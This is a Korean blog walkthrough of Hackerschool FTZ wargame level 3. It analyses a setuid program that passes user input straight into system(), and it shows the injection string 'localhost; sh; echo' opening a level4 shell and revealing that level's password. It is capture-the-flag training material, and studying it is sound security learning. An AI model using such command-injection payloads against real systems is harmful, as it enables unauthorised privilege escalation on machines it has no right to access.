Hackerschool/FTZ

[*] level 3

Kostrian 2015. 1. 29. 10:14
다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
   
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
문제 소스를 분석해 보면

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
    // 명령을 담을 배열 선언
    char cmd[100];
    // 인자의 갯수가 2개가 아니면 사용법을 출력하고 종료
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
    // 인자의 갯수가 2개일시 cmd에 dig @을 저장
    strcpy( cmd, "dig @" );
    // 첫번째 인자를 cmd에 저장
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
    
    // 명령어를 실행. 이곳에서 취약점 발생
    system( cmd );
 
}
여기서 문제가 되는 부분은 인자가 어떻게 생겼는지 전혀 생각하지 않고 system을 통해 실행시켰다는 점이다. 즉 argv[1]에 해커가 원하는 명령어를 입력하면 실행될수 있다는 점이다. 하지만 그냥 인자를 입력하면 dig라는 명령어만 실행이 될것이다. 따라서 원하는 명령어를 실행하기 위해서는 dig를 무력화 시킬 필요가 있다. 일단 공격하기에 앞서 autodig를 찾아보자. 

sh$ find / -name “autodig” -user level4 2>/dev/null
/bin/autodig
/bin/ 에 있는 autodig를 찾았다. 일단 한번 실행해 보면

sh$ /bin/autodig
Auto Digger Version 0.9
Usage : /bin/autodig host
이제 원하는 명령어를 실행시킬수 있는 방법을 연구해 보자. 문제의 힌트에서 말한 명령어를 동시에 실행시키는 법과 문자열로 주는 방법을 써먹을때다. 우선 명령어를 동시에 실행시키는 법은 ;을 사용하면 된다. 즉 현재 위치가 /home/level3라면 cd ..;pwd를 하면 출력은 /home이 된다. 그다음 문자열로 명령어를 넘기는법은 간단하다. ""을 쓰면 된다. 그럼 어떻게 dig를 무력화 시킬지 감이 올것이다. dig에 아무 인자나 준다음에 원하는 명령어를 입력하면 된다.

sh$ autodig “localhost; sh; echo"

; <<>> DiG 8.2 <<>> @localhost
; (1 server found)
;; res options: init recurs defnam dnsrch
;; res_nsend to server localhost  127.0.0.1: Connection refused

sh$ id
uid=3004(level4)...

sh$ my-pass

Level4 Password is “suck my brain”.
성공하였다. 여기서 눈여겨 볼게 echo가 실행이 되지 않은점인데 이는 쉽게 말하면 실행시킬 타이밍을 놓힌것이다. 실행한 명령어가 쉘이기 때문에 현재 출력할 쉘이 없는것이다. echo를 실행해야 할 쉘은 자식 프로세스(쉘)이 생겼으니 일시 정지상태이기 때문에 실행되지 못한것이다. 때문에 echo는 새로 킨 쉘을 끈다면 실행될 것이다.


'Hackerschool > FTZ' 카테고리의 다른 글

[*] level 2  (0) 2015.01.29
[*] Level1  (0) 2015.01.29